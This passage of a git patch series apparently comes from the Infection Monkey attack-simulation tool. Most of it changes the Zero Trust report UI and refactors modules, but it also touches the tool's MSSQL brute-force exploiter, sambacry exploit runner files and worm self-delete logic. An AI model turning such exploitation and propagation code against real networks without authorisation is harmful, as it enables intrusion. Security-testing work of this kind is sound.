- + ); diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesSection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesSection.js new file mode 100644 index 000000000..44b427c11 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesSection.js @@ -0,0 +1,29 @@ +import React, {Component} from "react"; +import SinglePillarPrinciplesStatus from "./SinglePillarPrinciplesStatus"; +import * as PropTypes from "prop-types"; + +export default class PrinciplesSection extends Component { + render() { + return
+

Test Results

+

+ The Zero Trust eXtended (ZTX) framework is composed of 7 pillars. Each pillar is built of + several guiding principles tested by the Infection Monkey. +

+ { + Object.keys(this.props.principles).map((pillar) => + + ) + } +
+ } +} + +PrinciplesSection.propTypes = { + principles: PropTypes.object, + pillarsToStatuses: PropTypes.object +}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsStatusTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesStatusTable.js similarity index 79% rename from monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsStatusTable.js rename to monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesStatusTable.js index e1ba3f814..b50ee0c28 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsStatusTable.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesStatusTable.js @@ -16,7 +16,7 @@ const columns = [ }, maxWidth: MAX_WIDTH_STATUS_COLUMN }, - { Header: 'ZT Recommendation', accessor: 'recommendation', + { Header: 'Zero Trust Principle', accessor: 'principle', style: {'whiteSpace': 'unset'} // This enables word wrap }, { Header: 'Monkey Tests', id: 'tests', @@ -34,7 +34,7 @@ class TestsStatus extends AuthComponent { return ( {this.getFilteredTestsByStatusIfAny(ZeroTrustStatuses.failed)} - {this.getFilteredTestsByStatusIfAny(ZeroTrustStatuses.inconclusive)} + {this.getFilteredTestsByStatusIfAny(ZeroTrustStatuses.verify)} {this.getFilteredTestsByStatusIfAny(ZeroTrustStatuses.passed)} {this.getFilteredTestsByStatusIfAny(ZeroTrustStatuses.unexecuted)} @@ -60,12 +60,12 @@ class TestsStatus extends AuthComponent { } } -export class RecommendationsStatusTable extends AuthComponent { +export class PrinciplesStatusTable extends AuthComponent { render() { - return ; + return ; } } -export default RecommendationsStatusTable; +export default PrinciplesStatusTable; -RecommendationsStatusTable.propTypes = {recommendationsStatus: PropTypes.array}; +PrinciplesStatusTable.propTypes = {principlesStatus: PropTypes.array}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsSection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsSection.js deleted file mode 100644 index e83d1c4cc..000000000 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsSection.js +++ /dev/null @@ -1,29 +0,0 @@ -import React, {Component} from "react"; -import SinglePillarRecommendationsStatus from "./SinglePillarRecommendationsStatus"; -import * as PropTypes from "prop-types"; - -export default class RecommendationsSection extends Component { - render() { - return
-

Recommendations

-

- Analyze each zero trust recommendation by pillar, and see if you've followed through with it. See test results - to understand how the monkey tested your adherence to that recommendation. -

- { - Object.keys(this.props.recommendations).map((pillar) => - - ) - } -
- } -} - -RecommendationsSection.propTypes = { - recommendations: PropTypes.object, - pillarsToStatuses: PropTypes.object -}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js index 34c18eb26..1881c82d2 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js @@ -36,7 +36,7 @@ class ZeroTrustReportLegend extends Component {
  • - +
    {"\t"}At least one of the tests’ results related to this component requires further manual verification.
  • @@ -50,11 +50,10 @@ class ZeroTrustReportLegend extends Component {
    - {"\t"}This status means the test wasn't executed. + {"\t"}This status means the test wasn't executed.To activate more tests, refer to the Monkey configuration page.
    - To activate more tests, go to the Monkey configuration page.n ; } } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarRecommendationsStatus.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarPrinciplesStatus.js similarity index 67% rename from monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarRecommendationsStatus.js rename to monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarPrinciplesStatus.js index 1ce02afce..8e4512ac7 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarRecommendationsStatus.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarPrinciplesStatus.js @@ -1,13 +1,13 @@ import AuthComponent from "../../AuthComponent"; import PillarLabel from "./PillarLabel"; -import RecommendationsStatusTable from "./RecommendationsStatusTable"; +import PrinciplesStatusTable from "./PrinciplesStatusTable"; import React from "react"; import * as PropTypes from "prop-types"; import {Panel} from "react-bootstrap"; -export default class SinglePillarRecommendationsStatus extends AuthComponent { +export default class SinglePillarPrinciplesStatus extends AuthComponent { render() { - if (this.props.recommendationsStatus.length === 0) { + if (this.props.principlesStatus.length === 0) { return null; } else { @@ -22,7 +22,7 @@ export default class SinglePillarRecommendationsStatus extends AuthComponent { - + @@ -31,7 +31,7 @@ export default class SinglePillarRecommendationsStatus extends AuthComponent { } } -SinglePillarRecommendationsStatus.propTypes = { - recommendationsStatus: PropTypes.array, +SinglePillarPrinciplesStatus.propTypes = { + principlesStatus: PropTypes.array, pillar: PropTypes.string, }; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusLabel.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusLabel.js index 12c65b728..028ca7d89 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusLabel.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusLabel.js @@ -3,14 +3,14 @@ import * as PropTypes from "prop-types"; const statusToIcon = { "Passed": "fa-check", - "Inconclusive": "fa-exclamation-triangle", + "Verify": "fa-exclamation-triangle", "Failed": "fa-bomb", "Unexecuted": "fa-question", }; export const statusToLabelType = { "Passed": "label-success", - "Inconclusive": "label-warning", + "Verify": "label-warning", "Failed": "label-danger", "Unexecuted": "label-default", }; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusesToPillarsSummary.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusesToPillarsSummary.js index 4a597566c..d34a484b9 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusesToPillarsSummary.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusesToPillarsSummary.js @@ -8,7 +8,7 @@ export default class StatusesToPillarsSummary extends Component { render() { return (
    {this.getStatusSummary(ZeroTrustStatuses.failed)} - {this.getStatusSummary(ZeroTrustStatuses.inconclusive)} + {this.getStatusSummary(ZeroTrustStatuses.verify)} {this.getStatusSummary(ZeroTrustStatuses.passed)} {this.getStatusSummary(ZeroTrustStatuses.unexecuted)}
    ); diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js index 4a56a8b9e..585f22047 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js @@ -14,7 +14,8 @@ export default class SummarySection extends Component {

    - Get a quick glance of the status for each of Zero Trust's seven pillars. + Get a quick glance at how your network aligns with the Zero + Trust eXtended (ZTX) framework.

    @@ -27,20 +28,6 @@ export default class SummarySection extends Component { - -
    -

    What am I seeing?

    -

    - The Zero - Trust eXtended framework categorizes its recommendations into 7 pillars. Infection - Monkey - Zero Trust edition tests some of those recommendations. The tests that the monkey executes - produce findings. The tests, recommendations and pillars are then granted a status in - accordance - with the tests results. -

    - - } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustPillars.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustPillars.js index 2165916da..dd2a55865 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustPillars.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustPillars.js @@ -10,7 +10,7 @@ export const ZeroTrustPillars = { export const ZeroTrustStatuses = { failed: "Failed", - inconclusive: "Inconclusive", + verify: "Verify", passed: "Passed", unexecuted: "Unexecuted" }; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js index c1d5d2a68..70304daad 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js @@ -78,23 +78,22 @@ class VennDiagram extends React.Component { RULE #1: All scores have to be equal 0, except Unexecuted [U] which could be also a negative integer sum(C, I, P) has to be <=0 - RULE #2: Conclusive [C] has to be > 0, + RULE #2: Failed [C] has to be > 0, sum(C) > 0 - RULE #3: Inconclusive [I] has to be > 0 while Conclusive has to be 0, + RULE #3: Verify [I] has to be > 0 while Failed has to be 0, sum(C, I) > 0 and C * I = 0, while C has to be 0 RULE #4: By process of elimination, passed. if the P is bigger by 2 then negative U, first conditional would be true. - */ this.rules = [ { id: 'Rule #1', status: ZeroTrustStatuses.unexecuted, hex: '#777777', f: function (d_) { - return d_[ZeroTrustStatuses.failed] + d_[ZeroTrustStatuses.inconclusive] + d_[ZeroTrustStatuses.passed] === 0; + return d_[ZeroTrustStatuses.failed] + d_[ZeroTrustStatuses.verify] + d_[ZeroTrustStatuses.passed] === 0; } }, { @@ -103,8 +102,8 @@ class VennDiagram extends React.Component { } }, { - id: 'Rule #3', status: 'Inconclusive', hex: '#F0AD4E', f: function (d_) { - return d_[ZeroTrustStatuses.failed] === 0 && d_[ZeroTrustStatuses.inconclusive] > 0; + id: 'Rule #3', status: ZeroTrustStatuses.verify, hex: '#F0AD4E', f: function (d_) { + return d_[ZeroTrustStatuses.failed] === 0 && d_[ZeroTrustStatuses.verify] > 0; } }, { From 68383f069b51dc2b5dd21d706b22921bf8888fc9 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Tue, 10 Sep 2019 23:51:19 +0300 Subject: [PATCH 57/78] Final text changes --- .../report-components/zerotrust/PrinciplesSection.js | 4 +++- .../components/report-components/zerotrust/ReportLegend.js | 3 +-- .../components/report-components/zerotrust/SummarySection.js | 5 +++-- 3 files changed, 7 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesSection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesSection.js index 44b427c11..bb957d42d 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesSection.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesSection.js @@ -7,7 +7,9 @@ export default class PrinciplesSection extends Component { return

    Test Results

    - The Zero Trust eXtended (ZTX) framework is composed of 7 pillars. Each pillar is built of + The + Zero Trust eXtended (ZTX) framework + is composed of 7 pillars. Each pillar is built of several guiding principles tested by the Infection Monkey.

    { diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js index 1881c82d2..5ef75f2b4 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js @@ -44,7 +44,7 @@ class ZeroTrustReportLegend extends Component {
    - {"\t"}The test passed, so this is OK 🙂 + {"\t"}All Tests related to this pillar passed. No violation of a Zero Trust guiding principle was detected.
  • @@ -53,7 +53,6 @@ class ZeroTrustReportLegend extends Component { {"\t"}This status means the test wasn't executed.To activate more tests, refer to the Monkey configuration page.
  • -
    ; } } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js index 585f22047..e4012bf50 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js @@ -14,8 +14,9 @@ export default class SummarySection extends Component {

    - Get a quick glance at how your network aligns with the Zero - Trust eXtended (ZTX) framework. + Get a quick glance at how your network aligns with the + Zero Trust eXtended (ZTX) framework + .

    From 650ef121492426aa55d1f36a60562aaccda8e04d Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 11 Sep 2019 13:03:12 +0300 Subject: [PATCH 58/78] Bugfix for monkey not reporting being dead --- monkey/infection_monkey/monkey.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 692e278fb..78bdca453 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -225,7 +225,7 @@ class InfectionMonkey(object): InfectionMonkey.close_tunnel() firewall.close() else: - StateTelem(False).send() # Signal the server (before closing the tunnel) + StateTelem(True).send() # Signal the server (before closing the tunnel) InfectionMonkey.close_tunnel() firewall.close() if WormConfiguration.send_log_to_server: From 4d24d8432e23150e48cb50db650512b8c4b99262 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Wed, 11 Sep 2019 17:19:23 +0300 Subject: [PATCH 59/78] Improved the Events modal --- monkey/monkey_island/cc/ui/package.json | 3 +- .../zerotrust/EventsButton.js | 9 +---- .../zerotrust/EventsModal.js | 39 +++++++++++-------- .../zerotrust/EventsModalButtons.js | 20 ++++++++++ .../zerotrust/EventsTimeline.js | 3 +- 5 files changed, 47 insertions(+), 27 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModalButtons.js diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index 872a22bdc..983366c6e 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -104,6 +104,7 @@ "react-tooltip-lite": "^1.9.1", "redux": "^4.0.0", "sass-loader": "^7.1.0", - "sha3": "^2.0.0" + "sha3": "^2.0.0", + "pluralize": "latest" } } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js index ea24e7b1a..761ff94a9 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js @@ -32,13 +32,8 @@ export default class EventsButton extends Component { } createEventsAmountBadge() { - let eventsAmountBadge; - if (this.props.events.length > 9) { - eventsAmountBadge = 9+; - } else { - eventsAmountBadge = {this.props.events.length}; - } - return eventsAmountBadge; + const eventsAmountBadgeContent = this.props.events.length > 9 ? "9+" : this.props.events.length; + return {eventsAmountBadgeContent}; } } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js index 2ce25bf20..a7f2fe41c 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js @@ -1,9 +1,11 @@ import React, {Component} from "react"; -import {Modal} from "react-bootstrap"; +import {Badge, Modal} from "react-bootstrap"; import EventsTimeline from "./EventsTimeline"; import * as PropTypes from "prop-types"; -import ExportEventsButton from "./ExportEventsButton"; import saveJsonToFile from "../../utils/SaveJsonToFile"; +import EventsModalButtons from "./EventsModalButtons"; +import Pluralize from 'pluralize' +import {statusToLabelType} from "./StatusLabel"; export default class EventsModal extends Component { constructor(props) { @@ -15,28 +17,31 @@ export default class EventsModal extends Component {
    this.props.hideCallback()}> -

    +

    Events
    -

    - + +
    +

    + There {Pluralize('is', this.props.events.length)} {

    {this.props.events.length}
    } {Pluralize('event', this.props.events.length)} associated with this finding. +

    + {this.props.events.length > 5 ? this.renderButtons() : null} - -
    - - { - const dataToSave = this.props.events; - const filename = this.props.exportFilename; - saveJsonToFile(dataToSave, filename); - }}/> -
    + {this.renderButtons()}
    ); } + + renderButtons() { + return this.props.hideCallback()} + onClickExport={() => { + const dataToSave = this.props.events; + const filename = this.props.exportFilename; + saveJsonToFile(dataToSave, filename); + }}/>; + } } EventsModal.propTypes = { diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModalButtons.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModalButtons.js new file mode 100644 index 000000000..962c54893 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModalButtons.js @@ -0,0 +1,20 @@ +import React, {Component} from "react"; +import ExportEventsButton from "./ExportEventsButton"; +import * as PropTypes from "prop-types"; + +export default class EventsModalButtons extends Component { + render() { + return
    + + +
    + } +} + +EventsModalButtons.propTypes = { + onClickClose: PropTypes.func, + onClickExport: PropTypes.func +}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js index d6723bd4d..b7fb90811 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js @@ -14,7 +14,7 @@ export default class EventsTimeline extends Component { render() { return (
    - + { this.props.events.map((event, index) => { const event_time = new Date(event.timestamp['$date']).toString(); @@ -22,7 +22,6 @@ export default class EventsTimeline extends Component { key={index} createdAt={event_time} title={event.title} - icon={icon}> {event.message} ) From 994b6ed63dc3a686747bffa547f94dc336ceaf40 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 11 Sep 2019 17:23:28 +0300 Subject: [PATCH 60/78] Improved exception throwing --- monkey/infection_monkey/exploit/mssqlexec.py | 2 +- monkey/infection_monkey/exploit/tools/http_tools.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index c08aec28d..db503c717 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -185,7 +185,7 @@ class MSSQLExploiter(HostExploiter): LOG.warning('No user/password combo was able to connect to host: {0}:{1}, ' 'aborting brute force'.format(host, port)) - raise Exception("Bruteforce process failed on host: {0}".format(self.host.ip_addr)) + raise RuntimeError("Bruteforce process failed on host: {0}".format(self.host.ip_addr)) class MSSQLLimitedSizePayload(LimitedSizePayload): diff --git a/monkey/infection_monkey/exploit/tools/http_tools.py b/monkey/infection_monkey/exploit/tools/http_tools.py index 0de47b155..19b45b043 100644 --- a/monkey/infection_monkey/exploit/tools/http_tools.py +++ b/monkey/infection_monkey/exploit/tools/http_tools.py @@ -85,6 +85,6 @@ class MonkeyHTTPServer(HTTPTools): def stop(self): if not self.http_path or not self.http_thread: - raise Exception("Can't stop http server that wasn't started!") + raise RuntimeError("Can't stop http server that wasn't started!") self.http_thread.join(DOWNLOAD_TIMEOUT) self.http_thread.stop() From 4b44fad1cd729428fd94631718eb9ebfc20b75b0 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 16 Sep 2019 12:27:50 +0300 Subject: [PATCH 61/78] Fixed typos and grammer errors --- monkey/common/data/zero_trust_consts.py | 6 +++--- monkey/infection_monkey/monkey_utils/windows/new_user.py | 4 ++-- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/monkey/common/data/zero_trust_consts.py b/monkey/common/data/zero_trust_consts.py index 3362756d9..4add05d04 100644 --- a/monkey/common/data/zero_trust_consts.py +++ b/monkey/common/data/zero_trust_consts.py @@ -139,16 +139,16 @@ TESTS_MAP = { TEST_TUNNELING: { TEST_EXPLANATION_KEY: u"The Monkey tried to tunnel traffic using other monkeys.", FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_FAILED: "Monkey was tunneled its traffic using other monkeys. Your network policies are too permissive - restrict them." + STATUS_FAILED: "Monkey tunneled its traffic using other monkeys. Your network policies are too permissive - restrict them." }, PRINCIPLE_KEY: PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES, PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS], POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED] }, TEST_COMMUNICATE_AS_NEW_USER: { - TEST_EXPLANATION_KEY: u"The Monkey tried create a new user and communicate with the internet from it.", + TEST_EXPLANATION_KEY: u"The Monkey tried to create a new user and communicate with the internet from it.", FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_FAILED: "Monkey was able to cause a new user to access the network. Your network policies are too permissive - restrict them to MAC only.", + STATUS_FAILED: "Monkey caused a new user to access the network. Your network policies are too permissive - restrict them to MAC only.", STATUS_PASSED: "Monkey wasn't able to cause a new user to access the network." }, PRINCIPLE_KEY: PRINCIPLE_USERS_MAC_POLICIES, diff --git a/monkey/infection_monkey/monkey_utils/windows/new_user.py b/monkey/infection_monkey/monkey_utils/windows/new_user.py index fbe4bd832..87d2da3b8 100644 --- a/monkey/infection_monkey/monkey_utils/windows/new_user.py +++ b/monkey/infection_monkey/monkey_utils/windows/new_user.py @@ -15,8 +15,8 @@ class NewUser(object): """ RAII object to use for creating and using a new user in Windows. Use with `with`. User will be created when the instance is instantiated. - User will log on start of `with` scope. - User will log off and get deleted on end of `with` scope. + User will log on at the start of the `with` scope. + User will log off and get deleted at the end of said `with` scope. Example: # Created # Logged on From edc2d49307332ccd4c4bf65c63f478d00be8fb85 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 16 Sep 2019 13:00:42 +0300 Subject: [PATCH 62/78] Broke monkey_utils to utils/ and moved sambacry_runner to exploit. This commit is 100% refactoring without any new code, just deleted unused utils. --- deployment_scripts/config.ps1 | 2 +- deployment_scripts/deploy_linux.sh | 2 +- monkey/infection_monkey/exploit/mssqlexec.py | 2 +- .../sambacry_monkey_runner/build.sh | 0 .../sambacry_monkey_runner/sc_monkey_runner.c | 0 .../sambacry_monkey_runner/sc_monkey_runner.h | 0 monkey/infection_monkey/main.py | 6 +- monkey/infection_monkey/monkey.py | 11 ++-- monkey/infection_monkey/network/tools.py | 2 +- .../actions/communicate_as_new_user.py | 4 +- .../post_breach/actions/users_custom_pba.py | 4 +- monkey/infection_monkey/post_breach/pba.py | 2 +- .../post_breach/post_breach_handler.py | 2 +- monkey/infection_monkey/readme.txt | 2 +- monkey/infection_monkey/utils.py | 62 ------------------- .../{monkey_utils => utils}/__init__.py | 0 monkey/infection_monkey/utils/environment.py | 18 ++++++ monkey/infection_monkey/utils/monkey_dir.py | 29 +++++++++ .../infection_monkey/utils/monkey_log_path.py | 14 +++++ .../windows/__init__.py | 0 .../windows/new_user.py | 0 monkey/infection_monkey/windows_upgrader.py | 2 +- 22 files changed, 82 insertions(+), 82 deletions(-) rename monkey/infection_monkey/{monkey_utils => exploit}/sambacry_monkey_runner/build.sh (100%) rename monkey/infection_monkey/{monkey_utils => exploit}/sambacry_monkey_runner/sc_monkey_runner.c (100%) rename monkey/infection_monkey/{monkey_utils => exploit}/sambacry_monkey_runner/sc_monkey_runner.h (100%) delete mode 100644 monkey/infection_monkey/utils.py rename monkey/infection_monkey/{monkey_utils => utils}/__init__.py (100%) create mode 100644 monkey/infection_monkey/utils/environment.py create mode 100644 monkey/infection_monkey/utils/monkey_dir.py create mode 100644 monkey/infection_monkey/utils/monkey_log_path.py rename monkey/infection_monkey/{monkey_utils => utils}/windows/__init__.py (100%) rename monkey/infection_monkey/{monkey_utils => utils}/windows/new_user.py (100%) diff --git a/deployment_scripts/config.ps1 b/deployment_scripts/config.ps1 index 24a8d3322..07be64612 100644 --- a/deployment_scripts/config.ps1 +++ b/deployment_scripts/config.ps1 @@ -22,7 +22,7 @@ $SAMBA_64_BINARY_NAME = "sc_monkey_runner64.so" # Other directories and paths ( most likely you dont need to configure) $MONKEY_ISLAND_DIR = "\monkey\monkey_island" $MONKEY_DIR = "\monkey\infection_monkey" -$SAMBA_BINARIES_DIR = Join-Path -Path $MONKEY_DIR -ChildPath "\monkey_utils\sambacry_monkey_runner" +$SAMBA_BINARIES_DIR = Join-Path -Path $MONKEY_DIR -ChildPath "\exploit\sambacry_monkey_runner" $PYTHON_DLL = "C:\Windows\System32\python27.dll" $MK32_DLL = "mk32.dll" $MK64_DLL = "mk64.dll" diff --git a/deployment_scripts/deploy_linux.sh b/deployment_scripts/deploy_linux.sh index 5ce29ac59..4df8ba114 100644 --- a/deployment_scripts/deploy_linux.sh +++ b/deployment_scripts/deploy_linux.sh @@ -129,7 +129,7 @@ python -m pip install --user -r requirements_linux.txt || handle_error # Build samba log_message "Building samba binaries" sudo apt-get install gcc-multilib -cd ${monkey_home}/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner +cd ${monkey_home}/monkey/infection_monkey/exploit/sambacry_monkey_runner sudo chmod +x ./build.sh || handle_error ./build.sh diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index e4eaf3151..0115dfbf5 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -11,7 +11,7 @@ from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, get_target_monkey, \ build_monkey_commandline, get_monkey_depth from infection_monkey.model import DROPPER_ARG -from infection_monkey.utils import get_monkey_dir_path +from infection_monkey.utils.monkey_dir import get_monkey_dir_path LOG = logging.getLogger(__name__) diff --git a/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/build.sh b/monkey/infection_monkey/exploit/sambacry_monkey_runner/build.sh similarity index 100% rename from monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/build.sh rename to monkey/infection_monkey/exploit/sambacry_monkey_runner/build.sh diff --git a/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c b/monkey/infection_monkey/exploit/sambacry_monkey_runner/sc_monkey_runner.c similarity index 100% rename from monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c rename to monkey/infection_monkey/exploit/sambacry_monkey_runner/sc_monkey_runner.c diff --git a/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h b/monkey/infection_monkey/exploit/sambacry_monkey_runner/sc_monkey_runner.h similarity index 100% rename from monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h rename to monkey/infection_monkey/exploit/sambacry_monkey_runner/sc_monkey_runner.h diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py index 3b51c1be2..c20a84190 100644 --- a/monkey/infection_monkey/main.py +++ b/monkey/infection_monkey/main.py @@ -8,7 +8,7 @@ import os import sys import traceback -import infection_monkey.utils as utils +from infection_monkey.utils.monkey_log_path import get_dropper_log_path, get_monkey_log_path from infection_monkey.config import WormConfiguration, EXTERNAL_CONFIG_FILE from infection_monkey.dropper import MonkeyDrops from infection_monkey.model import MONKEY_ARG, DROPPER_ARG @@ -79,10 +79,10 @@ def main(): try: if MONKEY_ARG == monkey_mode: - log_path = utils.get_monkey_log_path() + log_path = get_monkey_log_path() monkey_cls = InfectionMonkey elif DROPPER_ARG == monkey_mode: - log_path = utils.get_dropper_log_path() + log_path = get_dropper_log_path() monkey_cls = MonkeyDrops else: return True diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 3cd20d9c2..b97e08dfd 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -7,7 +7,8 @@ import time from six.moves import xrange import infection_monkey.tunnel as tunnel -import infection_monkey.utils as utils +from infection_monkey.utils.monkey_dir import create_monkey_dir, get_monkey_dir_path, remove_monkey_dir +from infection_monkey.utils.monkey_log_path import get_monkey_log_path from infection_monkey.config import WormConfiguration from infection_monkey.control import ControlClient from infection_monkey.model import DELAY_DELETE_CMD @@ -90,7 +91,7 @@ class InfectionMonkey(object): self.set_default_port() # Create a dir for monkey files if there isn't one - utils.create_monkey_dir() + create_monkey_dir() if WindowsUpgrader.should_upgrade(): self._upgrading_to_64 = True @@ -244,8 +245,8 @@ class InfectionMonkey(object): @staticmethod def self_delete(): - status = ScanStatus.USED if utils.remove_monkey_dir() else ScanStatus.SCANNED - T1107Telem(status, utils.get_monkey_dir_path()).send() + status = ScanStatus.USED if remove_monkey_dir() else ScanStatus.SCANNED + T1107Telem(status, get_monkey_dir_path()).send() if WormConfiguration.self_delete_in_cleanup \ and -1 == sys.executable.find('python'): @@ -269,7 +270,7 @@ class InfectionMonkey(object): T1107Telem(status, sys.executable).send() def send_log(self): - monkey_log_path = utils.get_monkey_log_path() + monkey_log_path = get_monkey_log_path() if os.path.exists(monkey_log_path): with open(monkey_log_path, 'r') as f: log = f.read() diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py index 3a9adef57..5e448002c 100644 --- 